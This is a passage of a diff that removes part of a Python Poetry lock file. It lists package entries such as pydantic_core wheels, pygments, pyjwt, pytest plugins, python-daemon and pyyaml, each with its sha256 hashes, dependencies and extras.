"sha256:85348b8f89d2c3508b65b16c3c33a4da22b8215138d8b996912bb1532868885f"}, - {file = "pydantic_core-2.46.3-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1105677a6df914b1fb71a81b96c8cce7726857e1717d86001f29be06a25ee6f8"}, - {file = "pydantic_core-2.46.3-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:87082cd65669a33adeba5470769e9704c7cf026cc30afb9cc77fd865578ebaad"}, - {file = "pydantic_core-2.46.3-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:60e5f66e12c4f5212d08522963380eaaeac5ebd795826cfd19b2dfb0c7a52b9c"}, - {file = "pydantic_core-2.46.3-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b6cdf19bf84128d5e7c37e8a73a0c5c10d51103a650ac585d42dd6ae233f2b7f"}, - {file = "pydantic_core-2.46.3-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:031bb17f4885a43773c8c763089499f242aee2ea85cf17154168775dccdecf35"}, - {file = "pydantic_core-2.46.3-cp313-cp313-manylinux_2_31_riscv64.whl", hash = "sha256:bcf2a8b2982a6673693eae7348ef3d8cf3979c1d63b54fca7c397a635cc68687"}, - {file = "pydantic_core-2.46.3-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:28e8cf2f52d72ced402a137145923a762cbb5081e48b34312f7a0c8f55928ec3"}, - {file = "pydantic_core-2.46.3-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:17eaface65d9fc5abb940003020309c1bf7a211f5f608d7870297c367e6f9022"}, - {file = "pydantic_core-2.46.3-cp313-cp313-musllinux_1_1_armv7l.whl", hash = "sha256:93fd339f23408a07e98950a89644f92c54d8729719a40b30c0a30bb9ebc55d23"}, - {file = "pydantic_core-2.46.3-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:23cbdb3aaa74dfe0837975dbf69b469753bbde8eacace524519ffdb6b6e89eb7"}, - {file = "pydantic_core-2.46.3-cp313-cp313-win32.whl", hash = "sha256:610eda2e3838f401105e6326ca304f5da1e15393ae25dacae5c5c63f2c275b13"}, - {file = "pydantic_core-2.46.3-cp313-cp313-win_amd64.whl", hash = "sha256:68cc7866ed863db34351294187f9b729964c371ba33e31c26f478471c52e1ed0"}, - {file = "pydantic_core-2.46.3-cp313-cp313-win_arm64.whl", hash = "sha256:f64b5537ac62b231572879cd08ec05600308636a5d63bcbdb15063a466977bec"}, - {file = "pydantic_core-2.46.3-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:afa3aa644f74e290cdede48a7b0bee37d1c35e71b05105f6b340d484af536d9b"}, - {file = "pydantic_core-2.46.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:ced3310e51aa425f7f77da8bbbb5212616655bedbe82c70944320bc1dbe5e018"}, - {file = "pydantic_core-2.46.3-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e29908922ce9da1a30b4da490bd1d3d82c01dcfdf864d2a74aacee674d0bfa34"}, - {file = "pydantic_core-2.46.3-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:0c9ff69140423eea8ed2d5477df3ba037f671f5e897d206d921bc9fdc39613e7"}, - {file = "pydantic_core-2.46.3-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b675ab0a0d5b1c8fdb81195dc5bcefea3f3c240871cdd7ff9a2de8aa50772eb2"}, - {file = "pydantic_core-2.46.3-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:0087084960f209a9a4af50ecd1fb063d9ad3658c07bb81a7a53f452dacbfb2ba"}, - {file = "pydantic_core-2.46.3-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ed42e6cc8e1b0e2b9b96e2276bad70ae625d10d6d524aed0c93de974ae029f9f"}, - {file = "pydantic_core-2.46.3-cp314-cp314-manylinux_2_31_riscv64.whl", hash = "sha256:f1771ce258afb3e4201e67d154edbbae712a76a6081079fe247c2f53c6322c22"}, - {file = "pydantic_core-2.46.3-cp314-cp314-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:a7610b6a5242a6c736d8ad47fd5fff87fcfe8f833b281b1c409c3d6835d9227f"}, - {file = "pydantic_core-2.46.3-cp314-cp314-musllinux_1_1_aarch64.whl", hash = "sha256:ff5e7783bcc5476e1db448bf268f11cb257b1c276d3e89f00b5727be86dd0127"}, - {file = "pydantic_core-2.46.3-cp314-cp314-musllinux_1_1_armv7l.whl", hash = "sha256:9d2e32edcc143bc01e95300671915d9ca052d4f745aa0a49c48d4803f8a85f2c"}, - {file = "pydantic_core-2.46.3-cp314-cp314-musllinux_1_1_x86_64.whl", hash = "sha256:6e42d83d1c6b87fa56b521479cff237e626a292f3b31b6345c15a99121b454c1"}, - {file = "pydantic_core-2.46.3-cp314-cp314-win32.whl", hash = "sha256:07bc6d2a28c3adb4f7c6ae46aa4f2d2929af127f587ed44057af50bf1ce0f505"}, - {file = "pydantic_core-2.46.3-cp314-cp314-win_amd64.whl", hash = "sha256:8940562319bc621da30714617e6a7eaa6b98c84e8c685bcdc02d7ed5e7c7c44e"}, - {file = "pydantic_core-2.46.3-cp314-cp314-win_arm64.whl", hash = "sha256:5dcbbcf4d22210ced8f837c96db941bdb078f419543472aca5d9a0bb7cddc7df"}, - {file = "pydantic_core-2.46.3-cp314-cp314t-macosx_10_12_x86_64.whl", hash = "sha256:d0fe3dce1e836e418f912c1ad91c73357d03e556a4d286f441bf34fed2dbeecf"}, - {file = "pydantic_core-2.46.3-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:9ce92e58abc722dac1bf835a6798a60b294e48eb0e625ec9fd994b932ac5feee"}, - {file = "pydantic_core-2.46.3-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a03e6467f0f5ab796a486146d1b887b2dc5e5f9b3288898c1b1c3ad974e53e4a"}, - {file = "pydantic_core-2.46.3-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:2798b6ba041b9d70acfb9071a2ea13c8456dd1e6a5555798e41ba7b0790e329c"}, - {file = "pydantic_core-2.46.3-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9be3e221bdc6d69abf294dcf7aff6af19c31a5cdcc8f0aa3b14be29df4bd03b1"}, - {file = "pydantic_core-2.46.3-cp314-cp314t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f13936129ce841f2a5ddf6f126fea3c43cd128807b5a59588c37cf10178c2e64"}, - {file = "pydantic_core-2.46.3-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:28b5f2ef03416facccb1c6ef744c69793175fd27e44ef15669201601cf423acb"}, - {file = "pydantic_core-2.46.3-cp314-cp314t-manylinux_2_31_riscv64.whl", hash = "sha256:830d1247d77ad23852314f069e9d7ddafeec5f684baf9d7e7065ed46a049c4e6"}, - {file = "pydantic_core-2.46.3-cp314-cp314t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:d0793c90c1a3c74966e7975eaef3ed30ebdff3260a0f815a62a22adc17e4c01c"}, - {file = "pydantic_core-2.46.3-cp314-cp314t-musllinux_1_1_aarch64.whl", hash = "sha256:d2d0aead851b66f5245ec0c4fb2612ef457f8bbafefdf65a2bf9d6bac6140f47"}, - {file = "pydantic_core-2.46.3-cp314-cp314t-musllinux_1_1_armv7l.whl", hash = "sha256:2f40e4246676beb31c5ce77c38a55ca4e465c6b38d11ea1bd935420568e0b1ab"}, - {file = "pydantic_core-2.46.3-cp314-cp314t-musllinux_1_1_x86_64.whl", hash = "sha256:cf489cf8986c543939aeee17a09c04d6ffb43bfef8ca16fcbcc5cfdcbed24dba"}, - {file = "pydantic_core-2.46.3-cp314-cp314t-win32.whl", hash = "sha256:ffe0883b56cfc05798bf994164d2b2ff03efe2d22022a2bb080f3b626176dd56"}, - {file = "pydantic_core-2.46.3-cp314-cp314t-win_amd64.whl", hash = "sha256:706d9d0ce9cf4593d07270d8e9f53b161f90c57d315aeec4fb4fd7a8b10240d8"}, - {file = "pydantic_core-2.46.3-cp314-cp314t-win_arm64.whl", hash = "sha256:77706aeb41df6a76568434701e0917da10692da28cb69d5fb6919ce5fdb07374"}, - {file = "pydantic_core-2.46.3-cp39-cp39-macosx_10_12_x86_64.whl", hash = "sha256:fa3eb7c2995aa443687a825bc30395c8521b7c6ec201966e55debfd1128bcceb"}, - {file = "pydantic_core-2.46.3-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:3d08782c4045f90724b44c95d35ebec0d67edb8a957a2ac81d5a8e4b8a200495"}, - {file = "pydantic_core-2.46.3-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:831eb19aa789a97356979e94c981e5667759301fb708d1c0d5adf1bc0098b873"}, - {file = "pydantic_core-2.46.3-cp39-cp39-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:4335e87c7afa436a0dfa899e138d57a72f8aad542e2cf19c36fb428461caabd0"}, - {file = "pydantic_core-2.46.3-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:99421e7684a60f7f3550a1d159ade5fdff1954baedb6bdd407cba6a307c9f27d"}, - {file = "pydantic_core-2.46.3-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:dd81f6907932ebac3abbe41378dac64b2380db1287e2aa64d8d88f78d170f51a"}, - {file = "pydantic_core-2.46.3-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9f247596366f4221af52beddd65af1218797771d6989bc891a0b86ccaa019168"}, - {file = "pydantic_core-2.46.3-cp39-cp39-manylinux_2_31_riscv64.whl", hash = "sha256:6dff8cc884679df229ebc6d8eb2321ea6f8e091bc7d4886d4dc2e0e71452843c"}, - {file = "pydantic_core-2.46.3-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:68ef2f623dda6d5a9067ac014e406c020c780b2a358930a7e5c1b73702900720"}, - {file = "pydantic_core-2.46.3-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:d56bdb4af1767cc15b0386b3c581fdfe659bb9ee4a4f776e92c1cd9d074000d6"}, - {file = "pydantic_core-2.46.3-cp39-cp39-musllinux_1_1_armv7l.whl", hash = "sha256:91249bcb7c165c2fb2a2f852dbc5c91636e2e218e75d96dfdd517e4078e173dd"}, - {file = "pydantic_core-2.46.3-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:4b068543bdb707f5d935dab765d99227aa2545ef2820935f2e5dd801795c7dbd"}, - {file = "pydantic_core-2.46.3-cp39-cp39-win32.whl", hash = "sha256:dcda6583921c05a40533f982321532f2d8db29326c7b95c4026941fa5074bd79"}, - {file = "pydantic_core-2.46.3-cp39-cp39-win_amd64.whl", hash = "sha256:a35cc284c8dd7edae8a31533713b4d2467dfe7c4f1b5587dd4031f28f90d1d13"}, - {file = "pydantic_core-2.46.3-graalpy311-graalpy242_311_native-macosx_10_12_x86_64.whl", hash = "sha256:9715525891ed524a0a1eb6d053c74d4d4ad5017677fb00af0b7c2644a31bae46"}, - {file = "pydantic_core-2.46.3-graalpy311-graalpy242_311_native-macosx_11_0_arm64.whl", hash = "sha256:9d2f400712a99a013aff420ef1eb9be077f8189a36c1e3ef87660b4e1088a874"}, - {file = "pydantic_core-2.46.3-graalpy311-graalpy242_311_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bd2aab0e2e9dc2daf36bd2686c982535d5e7b1d930a1344a7bb6e82baab42a76"}, - {file = "pydantic_core-2.46.3-graalpy311-graalpy242_311_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4e9d76736da5f362fabfeea6a69b13b7f2be405c6d6966f06b2f6bfff7e64531"}, - {file = "pydantic_core-2.46.3-graalpy312-graalpy250_312_native-macosx_10_12_x86_64.whl", hash = "sha256:b12dd51f1187c2eb489af8e20f880362db98e954b54ab792fa5d92e8bcc6b803"}, - {file = "pydantic_core-2.46.3-graalpy312-graalpy250_312_native-macosx_11_0_arm64.whl", hash = "sha256:f00a0961b125f1a47af7bcc17f00782e12f4cd056f83416006b30111d941dfa3"}, - {file = "pydantic_core-2.46.3-graalpy312-graalpy250_312_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:57697d7c056aca4bbb680200f96563e841a6386ac1129370a0102592f4dddff5"}, - {file = "pydantic_core-2.46.3-graalpy312-graalpy250_312_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fd35aa21299def8db7ef4fe5c4ff862941a9a158ca7b63d61e66fe67d30416b4"}, - {file = "pydantic_core-2.46.3-pp311-pypy311_pp73-macosx_10_12_x86_64.whl", hash = "sha256:13afdd885f3d71280cf286b13b310ee0f7ccfefd1dbbb661514a474b726e2f25"}, - {file = "pydantic_core-2.46.3-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:f91c0aff3e3ee0928edd1232c57f643a7a003e6edf1860bc3afcdc749cb513f3"}, - {file = "pydantic_core-2.46.3-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6529d1d128321a58d30afcc97b49e98836542f68dd41b33c2e972bb9e5290536"}, - {file = "pydantic_core-2.46.3-pp311-pypy311_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:975c267cff4f7e7272eacbe50f6cc03ca9a3da4c4fbd66fffd89c94c1e311aa1"}, - {file = "pydantic_core-2.46.3-pp311-pypy311_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:2b8e4f2bbdf71415c544b4b1138b8060db7b6611bc927e8064c769f64bed651c"}, - {file = "pydantic_core-2.46.3-pp311-pypy311_pp73-musllinux_1_1_armv7l.whl", hash = "sha256:e61ea8e9fff9606d09178f577ff8ccdd7206ff73d6552bcec18e1033c4254b85"}, - {file = "pydantic_core-2.46.3-pp311-pypy311_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:b504bda01bafc69b6d3c7a0c7f039dcf60f47fab70e06fe23f57b5c75bdc82b8"}, - {file = "pydantic_core-2.46.3-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:b00b76f7142fc60c762ce579bd29c8fa44aaa56592dd3c54fab3928d0d4ca6ff"}, - {file = "pydantic_core-2.46.3.tar.gz", hash = "sha256:41c178f65b8c29807239d47e6050262eb6bf84eb695e41101e62e38df4a5bc2c"}, -] - -[package.dependencies] -typing-extensions = ">=4.14.1" - -[[package]] -name = "pygments" -version = "2.20.0" -description = "Pygments is a syntax highlighting package written in Python." -optional = false -python-versions = ">=3.9" -groups = ["main", "dev", "docs"] -files = [ - {file = "pygments-2.20.0-py3-none-any.whl", hash = "sha256:81a9e26dd42fd28a23a2d169d86d7ac03b46e2f8b59ed4698fb4785f946d0176"}, - {file = "pygments-2.20.0.tar.gz", hash = "sha256:6757cd03768053ff99f3039c1a36d6c0aa0b263438fcab17520b30a303a82b5f"}, -] - -[package.extras] -windows-terminal = ["colorama (>=0.4.6)"] - -[[package]] -name = "pyjwt" -version = "2.12.1" -description = "JSON Web Token implementation in Python" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "pyjwt-2.12.1-py3-none-any.whl", hash = "sha256:28ca37c070cad8ba8cd9790cd940535d40274d22f80ab87f3ac6a713e6e8454c"}, - {file = "pyjwt-2.12.1.tar.gz", hash = "sha256:c74a7a2adf861c04d002db713dd85f84beb242228e671280bf709d765b03672b"}, -] - -[package.dependencies] -typing_extensions = {version = ">=4.0", markers = "python_version < \"3.11\""} - -[package.extras] -crypto = ["cryptography (>=3.4.0)"] -dev = ["coverage[toml] (==7.10.7)", "cryptography (>=3.4.0)", "pre-commit", "pytest (>=8.4.2,<9.0.0)", "sphinx", "sphinx-rtd-theme", "zope.interface"] -docs = ["sphinx", "sphinx-rtd-theme", "zope.interface"] -tests = ["coverage[toml] (==7.10.7)", "pytest (>=8.4.2,<9.0.0)"] - -[[package]] -name = "pymdown-extensions" -version = "10.21.2" -description = "Extension pack for Python Markdown." -optional = false -python-versions = ">=3.9" -groups = ["docs"] -files = [ - {file = "pymdown_extensions-10.21.2-py3-none-any.whl", hash = "sha256:5c0fd2a2bea14eb39af8ff284f1066d898ab2187d81b889b75d46d4348c01638"}, - {file = "pymdown_extensions-10.21.2.tar.gz", hash = "sha256:c3f55a5b8a1d0edf6699e35dcbea71d978d34ff3fa79f3d807b8a5b3fa90fbdc"}, -] - -[package.dependencies] -markdown = ">=3.6" -pyyaml = "*" - -[package.extras] -extra = ["pygments (>=2.19.1)"] - -[[package]] -name = "pyparsing" -version = "3.3.2" -description = "pyparsing - Classes and methods to define and execute parsing grammars" -optional = false -python-versions = ">=3.9" -groups = ["docs"] -files = [ - {file = "pyparsing-3.3.2-py3-none-any.whl", hash = "sha256:850ba148bd908d7e2411587e247a1e4f0327839c40e2e5e6d05a007ecc69911d"}, - {file = "pyparsing-3.3.2.tar.gz", hash = "sha256:c777f4d763f140633dcb6d8a3eda953bf7a214dc4eff598413c070bcdc117cbc"}, -] - -[package.extras] -diagrams = ["jinja2", "railroad-diagrams"] - -[[package]] -name = "pytest" -version = "8.4.2" -description = "pytest: simple powerful testing with Python" -optional = false -python-versions = ">=3.9" -groups = ["dev"] -files = [ - {file = "pytest-8.4.2-py3-none-any.whl", hash = "sha256:872f880de3fc3a5bdc88a11b39c9710c3497a547cfa9320bc3c5e62fbf272e79"}, - {file = "pytest-8.4.2.tar.gz", hash = "sha256:86c0d0b93306b961d58d62a4db4879f27fe25513d4b969df351abdddb3c30e01"}, -] - -[package.dependencies] -colorama = {version = ">=0.4", markers = "sys_platform == \"win32\""} -exceptiongroup = {version = ">=1", markers = "python_version < \"3.11\""} -iniconfig = ">=1" -packaging = ">=20" -pluggy = ">=1.5,<2" -pygments = ">=2.7.2" -tomli = {version = ">=1", markers = "python_version < \"3.11\""} - -[package.extras] -dev = ["argcomplete", "attrs (>=19.2)", "hypothesis (>=3.56)", "mock", "requests", "setuptools", "xmlschema"] - -[[package]] -name = "pytest-asyncio" -version = "1.3.0" -description = "Pytest support for asyncio" -optional = false -python-versions = ">=3.10" -groups = ["dev"] -files = [ - {file = "pytest_asyncio-1.3.0-py3-none-any.whl", hash = "sha256:611e26147c7f77640e6d0a92a38ed17c3e9848063698d5c93d5aa7aa11cebff5"}, - {file = "pytest_asyncio-1.3.0.tar.gz", hash = "sha256:d7f52f36d231b80ee124cd216ffb19369aa168fc10095013c6b014a34d3ee9e5"}, -] - -[package.dependencies] -backports-asyncio-runner = {version = ">=1.1,<2", markers = "python_version < \"3.11\""} -pytest = ">=8.2,<10" -typing-extensions = {version = ">=4.12", markers = "python_version < \"3.13\""} - -[package.extras] -docs = ["sphinx (>=5.3)", "sphinx-rtd-theme (>=1)"] -testing = ["coverage (>=6.2)", "hypothesis (>=5.7.1)"] - -[[package]] -name = "pytest-benchmark" -version = "5.2.3" -description = "A ``pytest`` fixture for benchmarking code. It will group the tests into rounds that are calibrated to the chosen timer." -optional = false -python-versions = ">=3.9" -groups = ["dev"] -files = [ - {file = "pytest_benchmark-5.2.3-py3-none-any.whl", hash = "sha256:bc839726ad20e99aaa0d11a127445457b4219bdb9e80a1afc4b51da7f96b0803"}, - {file = "pytest_benchmark-5.2.3.tar.gz", hash = "sha256:deb7317998a23c650fd4ff76e1230066a76cb45dcece0aca5607143c619e7779"}, -] - -[package.dependencies] -py-cpuinfo = "*" -pytest = ">=8.1" - -[package.extras] -aspect = ["aspectlib"] -elasticsearch = ["elasticsearch"] -histogram = ["pygal", "pygaljs", "setuptools"] - -[[package]] -name = "pytest-cov" -version = "7.1.0" -description = "Pytest plugin for measuring coverage." -optional = false -python-versions = ">=3.9" -groups = ["dev"] -files = [ - {file = "pytest_cov-7.1.0-py3-none-any.whl", hash = "sha256:a0461110b7865f9a271aa1b51e516c9a95de9d696734a2f71e3e78f46e1d4678"}, - {file = "pytest_cov-7.1.0.tar.gz", hash = "sha256:30674f2b5f6351aa09702a9c8c364f6a01c27aae0c1366ae8016160d1efc56b2"}, -] - -[package.dependencies] -coverage = {version = ">=7.10.6", extras = ["toml"]} -pluggy = ">=1.2" -pytest = ">=7" - -[package.extras] -testing = ["process-tests", "pytest-xdist", "virtualenv"] - -[[package]] -name = "pytest-env" -version = "1.2.0" -description = "pytest plugin that allows you to add environment variables." -optional = false -python-versions = ">=3.10" -groups = ["dev"] -files = [ - {file = "pytest_env-1.2.0-py3-none-any.whl", hash = "sha256:d7e5b7198f9b83c795377c09feefa45d56083834e60d04767efd64819fc9da00"}, - {file = "pytest_env-1.2.0.tar.gz", hash = "sha256:475e2ebe8626cee01f491f304a74b12137742397d6c784ea4bc258f069232b80"}, -] - -[package.dependencies] -pytest = ">=8.4.2" -tomli = {version = ">=2.2.1", markers = "python_version < \"3.11\""} - -[package.extras] -testing = ["covdefaults (>=2.3)", "coverage (>=7.10.7)", "pytest-mock (>=3.15.1)"] - -[[package]] -name = "pytest-httpserver" -version = "1.1.5" -description = "pytest-httpserver is a httpserver for pytest" -optional = false -python-versions = ">=3.10" -groups = ["dev"] -files = [ - {file = "pytest_httpserver-1.1.5-py3-none-any.whl", hash = "sha256:ee83feb587ab652c0c6729598db2820e9048233bac8df756818b7845a1621d0a"}, - {file = "pytest_httpserver-1.1.5.tar.gz", hash = "sha256:dc3d82e1fe00e491829d8939c549bf4bd9b39a260f87113c619b9d517c2f8ff1"}, -] - -[package.dependencies] -Werkzeug = ">=2.0.0" - -[[package]] -name = "pytest-httpx" -version = "0.35.0" -description = "Send responses to httpx." -optional = false -python-versions = ">=3.9" -groups = ["dev"] -files = [ - {file = "pytest_httpx-0.35.0-py3-none-any.whl", hash = "sha256:ee11a00ffcea94a5cbff47af2114d34c5b231c326902458deed73f9c459fd744"}, - {file = "pytest_httpx-0.35.0.tar.gz", hash = "sha256:d619ad5d2e67734abfbb224c3d9025d64795d4b8711116b1a13f72a251ae511f"}, -] - -[package.dependencies] -httpx = "==0.28.*" -pytest = "==8.*" - -[package.extras] -testing = ["pytest-asyncio (==0.24.*)", "pytest-cov (==6.*)"] - -[[package]] -name = "pytest-rerunfailures" -version = "16.1" -description = "pytest plugin to re-run tests to eliminate flaky failures" -optional = false -python-versions = ">=3.10" -groups = ["dev"] -files = [ - {file = "pytest_rerunfailures-16.1-py3-none-any.whl", hash = "sha256:5d11b12c0ca9a1665b5054052fcc1084f8deadd9328962745ef6b04e26382e86"}, - {file = "pytest_rerunfailures-16.1.tar.gz", hash = "sha256:c38b266db8a808953ebd71ac25c381cb1981a78ff9340a14bcb9f1b9bff1899e"}, -] - -[package.dependencies] -packaging = ">=17.1" -pytest = ">=7.4,<8.2.2 || >8.2.2" - -[[package]] -name = "pytest-timeout" -version = "2.4.0" -description = "pytest plugin to abort hanging tests" -optional = false -python-versions = ">=3.7" -groups = ["dev"] -files = [ - {file = "pytest_timeout-2.4.0-py3-none-any.whl", hash = "sha256:c42667e5cdadb151aeb5b26d114aff6bdf5a907f176a007a30b940d3d865b5c2"}, - {file = "pytest_timeout-2.4.0.tar.gz", hash = "sha256:7e68e90b01f9eff71332b25001f85c75495fc4e3a836701876183c4bcfd0540a"}, -] - -[package.dependencies] -pytest = ">=7.0.0" - -[[package]] -name = "python-daemon" -version = "3.1.2" -description = "Library to implement a well-behaved Unix daemon process." -optional = false -python-versions = ">=3.7" -groups = ["main"] -files = [ - {file = "python_daemon-3.1.2-py3-none-any.whl", hash = "sha256:b906833cef63502994ad48e2eab213259ed9bb18d54fa8774dcba2ff7864cec6"}, - {file = "python_daemon-3.1.2.tar.gz", hash = "sha256:f7b04335adc473de877f5117e26d5f1142f4c9f7cd765408f0877757be5afbf4"}, -] - -[package.dependencies] -lockfile = ">=0.10" - -[package.extras] -build = ["build", "changelog-chug", "docutils", "python-daemon[doc]", "wheel"] -devel = ["python-daemon[dist,test]"] -dist = ["python-daemon[build]", "twine"] -static-analysis = ["isort (>=5.13,<6.0)", "pip-check", "pycodestyle (>=2.12,<3.0)", "pydocstyle (>=6.3,<7.0)", "pyupgrade (>=3.17,<4.0)"] -test = ["coverage", "python-daemon[build,static-analysis]", "testscenarios (>=0.4)", "testtools"] - -[[package]] -name = "python-dateutil" -version = "2.9.0.post0" -description = "Extensions to the standard Python datetime module" -optional = false -python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,>=2.7" -groups = ["dev", "docs"] -files = [ - {file = "python-dateutil-2.9.0.post0.tar.gz", hash = "sha256:37dd54208da7e1cd875388217d5e00ebd4179249f90fb72437e91a35459a0ad3"}, - {file = "python_dateutil-2.9.0.post0-py2.py3-none-any.whl", hash = "sha256:a8b2bc7bffae282281c8140a97d3aa9c14da0b136dfe83f850eea9a5f7470427"}, -] - -[package.dependencies] -six = ">=1.5" - -[[package]] -name = "python-discovery" -version = "1.2.2" -description = "Python interpreter discovery" -optional = false -python-versions = ">=3.8" -groups = ["dev"] -files = [ - {file = "python_discovery-1.2.2-py3-none-any.whl", hash = "sha256:e1ae95d9af875e78f15e19aed0c6137ab1bb49c200f21f5061786490c9585c7a"}, - {file = "python_discovery-1.2.2.tar.gz", hash = "sha256:876e9c57139eb757cb5878cbdd9ae5379e5d96266c99ef731119e04fffe533bb"}, -] - -[package.dependencies] -filelock = ">=3.15.4" -platformdirs = ">=4.3.6,<5" - -[package.extras] -docs = ["furo (>=2025.12.19)", "sphinx (>=9.1)", "sphinx-autodoc-typehints (>=3.6.3)", "sphinxcontrib-mermaid (>=2)"] -testing = ["covdefaults (>=2.3)", "coverage (>=7.5.4)", "pytest (>=8.3.5)", "pytest-mock (>=3.14)", "setuptools (>=75.1)"] - -[[package]] -name = "python-whois" -version = "0.9.6" -description = "Whois querying and parsing of domain registration information." -optional = false -python-versions = "*" -groups = ["dev"] -files = [ - {file = "python_whois-0.9.6-py3-none-any.whl", hash = "sha256:153261941a4d238b1278a4ca9b5b5e0590ed3b4d0c534ba111c4434d5d339410"}, - {file = "python_whois-0.9.6.tar.gz", hash = "sha256:2e6de7b6d70e305a85f4859cd17781ee3f0da3a02a8e94f23cb4cdcd2e400bfa"}, -] - -[package.dependencies] -python-dateutil = "*" - -[[package]] -name = "pyyaml" -version = "6.0.3" -description = "YAML parser and emitter for Python" -optional = false -python-versions = ">=3.8" -groups = ["main", "dev", "docs"] -files = [ - {file = "PyYAML-6.0.3-cp38-cp38-macosx_10_13_x86_64.whl", hash = "sha256:c2514fceb77bc5e7a2f7adfaa1feb2fb311607c9cb518dbc378688ec73d8292f"}, - {file = "PyYAML-6.0.3-cp38-cp38-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9c57bb8c96f6d1808c030b1687b9b5fb476abaa47f0db9c0101f5e9f394e97f4"}, - {file = "PyYAML-6.0.3-cp38-cp38-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:efd7b85f94a6f21e4932043973a7ba2613b059c4a000551892ac9f1d11f5baf3"}, - {file = "PyYAML-6.0.3-cp38-cp38-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:22ba7cfcad58ef3ecddc7ed1db3409af68d023b7f940da23c6c2a1890976eda6"}, - {file = "PyYAML-6.0.3-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:6344df0d5755a2c9a276d4473ae6b90647e216ab4757f8426893b5dd2ac3f369"}, - {file = "PyYAML-6.0.3-cp38-cp38-win32.whl", hash = "sha256:3ff07ec89bae51176c0549bc4c63aa6202991da2d9a6129d7aef7f1407d3f295"}, - {file = "PyYAML-6.0.3-cp38-cp38-win_amd64.whl", hash = "sha256:5cf4e27da7e3fbed4d6c3d8e797387aaad68102272f8f9752883bc32d61cb87b"}, - {file = "pyyaml-6.0.3-cp310-cp310-macosx_10_13_x86_64.whl", hash = "sha256:214ed4befebe12df36bcc8bc2b64b396ca31be9304b8f59e25c11cf94a4c033b"}, - {file = "pyyaml-6.0.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:02ea2dfa234451bbb8772601d7b8e426c2bfa197136796224e50e35a78777956"}, - {file = "pyyaml-6.0.3-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b30236e45cf30d2b8e7b3e85881719e98507abed1011bf463a8fa23e9c3e98a8"}, - {file = "pyyaml-6.0.3-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:66291b10affd76d76f54fad28e22e51719ef9ba22b29e1d7d03d6777a9174198"}, - {file = "pyyaml-6.0.3-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9c7708761fccb9397fe64bbc0395abcae8c4bf7b0eac081e12b809bf47700d0b"}, - {file = "pyyaml-6.0.3-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:418cf3f2111bc80e0933b2cd8cd04f286338bb88bdc7bc8e6dd775ebde60b5e0"}, - {file = "pyyaml-6.0.3-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:5e0b74767e5f8c593e8c9b5912019159ed0533c70051e9cce3e8b6aa699fcd69"}, - {file = "pyyaml-6.0.3-cp310-cp310-win32.whl", hash = 